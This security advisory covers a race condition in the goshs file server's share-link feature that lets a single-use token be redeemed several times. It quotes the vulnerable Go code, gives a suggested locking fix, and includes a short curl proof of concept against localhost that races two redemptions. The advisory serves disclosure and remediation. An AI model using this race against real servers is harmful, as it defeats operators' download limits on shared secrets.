medium

CVE-2026-50139

Go · goshs.de/goshs/v2

Summary

goshs: Share-link ?token=… redemption races past download limit

Severity
medium
CVSS
5.9
EPSS
0.2% (p16)
CWE
CWE-362
Also known as
GHSA-j48m-h7xq-2xpj
Published
2026-07-01
Updated
2026-07-01

Advisory details

Share-link ?token=… redemption races past download limit

Ecosystem: Go Package: goshs.de/goshs/v2 (github.com/patrickhener/goshs) Affected: <= v2.0.9 (every release that shipped the share-link feature)

Summary

ShareHandler reads the share token's DownloadLimit under RLock, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same Downloaded/DownloadLimit snapshot, all pass the check, and all are served — exceeding the operator's intended cap.

Details

httpserver/handler.go:968-1018:

fs.sharedLinksMu.RLock()
entry, ok := fs.SharedLinks[token]
fs.sharedLinksMu.RUnlock()                       // <-- released here

if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {
    // ...serve file...                          // <-- whole transfer happens unlocked
}

fs.sharedLinksMu.Lock()                          // <-- re-acquired only now
current.Downloaded++
if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }
fs.sharedLinksMu.Unlock()

Between line 978 (RUnlock) and line 1008 (Lock), any number of goroutines can interleave and each observes the same pre-increment limit.

Proof of concept

goshs -p 18000 -d /tmp/r -b admin:pw &
echo data > /tmp/r/f.txt

# operator issues a one-shot share
SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1")
TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p')

# attacker races two redemptions
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
wait
# observed: 200 / 200 (both succeed) -> limit=1 redeemed twice

Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification.

Impact

A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.

Suggested fix

Reserve under the write lock before serving — refund only if the serve fails:

fs.sharedLinksMu.Lock()
entry, ok := fs.SharedLinks[token]
if !ok || time.Now().After(entry.Expires) ||
   (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {
    fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return
}
entry.Downloaded++
if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {
    delete(fs.SharedLinks, token)
} else {
    fs.SharedLinks[token] = entry
}
fs.sharedLinksMu.Unlock()
// ...serve...

Add a regression test that races two requests against a limit=1 token and asserts exactly one 200.

Reporter: Nishant Verma. Reproduced against goshs v2.0.9 (commit 8fc1e91) on 2026-05-27.

References

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Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.